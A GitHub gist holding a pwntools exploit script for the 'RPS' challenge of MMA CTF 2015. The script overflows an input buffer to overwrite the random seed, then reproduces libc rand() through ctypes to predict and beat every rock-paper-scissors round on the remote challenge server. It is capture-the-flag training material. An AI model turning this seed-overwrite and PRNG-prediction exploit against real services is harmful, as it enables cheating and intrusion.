Skip to content

Instantly share code, notes, and snippets.

@zzoru
Last active March 10, 2016 16:46
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zzoru/9b0bf4182fb2cdd2aa07 to your computer and use it in GitHub Desktop.
Save zzoru/9b0bf4182fb2cdd2aa07 to your computer and use it in GitHub Desktop.
mma CTF 1st 2015 RPS write up
from pwn import *
import ctypes
import time
#conn = process('./rps')
conn = remote('milkyway.chal.mmactf.link', 1641)
seed = 'a' * 4
LIBC = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
LIBC.srand(u32(seed))
conn.recvuntil(': ')
conn.sendline('a' * 48 + seed)
for i in xrange(0, 50):
conn.recvuntil('[RPS]')
janken = LIBC.rand() % 3
if janken == 0:
conn.sendline('P')
elif janken == 1:
conn.sendline('S')
else:
conn.sendline('R')
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment